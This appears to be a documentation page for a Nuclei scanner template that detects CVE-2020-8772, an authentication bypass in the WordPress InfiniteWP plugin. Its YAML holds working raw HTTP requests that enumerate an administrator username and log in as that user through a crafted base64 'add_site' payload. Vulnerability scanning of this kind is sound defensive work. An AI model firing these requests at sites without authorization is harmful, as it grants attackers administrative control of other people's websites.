WordPress InfiniteWP <1.9.4.5 - Authorization Bypass
ID: CVE-2020-8772
Severity: critical
Author: princechaddha,scent2d
Tags: cve,cve2020,wpscan,wordpress,wp-plugin,wp,infinitewp,auth-bypass,revmakx
Description
Section titled “Description”WordPress InfiniteWP plugin before 1.9.4.5 for WordPress contains an authorization bypass vulnerability via a missing authorization check in iwp_mmb_set_request in init.php. An attacker who knows the username of an administrator can log in, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
YAML Source
Section titled “YAML Source”id: CVE-2020-8772
info: name: WordPress InfiniteWP <1.9.4.5 - Authorization Bypass author: princechaddha,scent2d severity: critical description: | WordPress InfiniteWP plugin before 1.9.4.5 for WordPress contains an authorization bypass vulnerability via a missing authorization check in iwp_mmb_set_request in init.php. An attacker who knows the username of an administrator can log in, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | An attacker can gain unauthorized administrative access to the WordPress site. remediation: Upgrade to InfiniteWP 1.9.4.5 or higher. reference: - https://wpscan.com/vulnerability/10011 - https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/ - https://wpvulndb.com/vulnerabilities/10011 - https://nvd.nist.gov/vuln/detail/CVE-2020-8772 - https://github.com/ChoiSG/vwp classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-8772 cwe-id: CWE-862 epss-score: 0.96539 epss-percentile: 0.99607 cpe: cpe:2.3:a:revmakx:infinitewp_client:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: revmakx product: infinitewp_client framework: wordpress tags: cve,cve2020,wpscan,wordpress,wp-plugin,wp,infinitewp,auth-bypass,revmakx
http: - raw: - | GET /?author=1 HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 - | POST / HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded
_IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}
host-redirects: true
matchers-condition: and matchers: - type: word part: header words: - "wordpress_logged_in"
- type: word part: body words: - "<IWPHEADER>"
- type: status status: - 200
extractors: - type: regex name: username group: 1 regex: - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>' internal: true part: body
- type: regex name: username group: 1 regex: - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/' internal: true part: header# digest: 490a0046304402206cbfe0b67172c794a02480f5a389824c79466c160e7bfc11c8b29c56ff0a3989022007383aa54324aeb310f6ec2104bd824a7d71a6679b47134d1d6ec65d81106455:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-8772.yaml"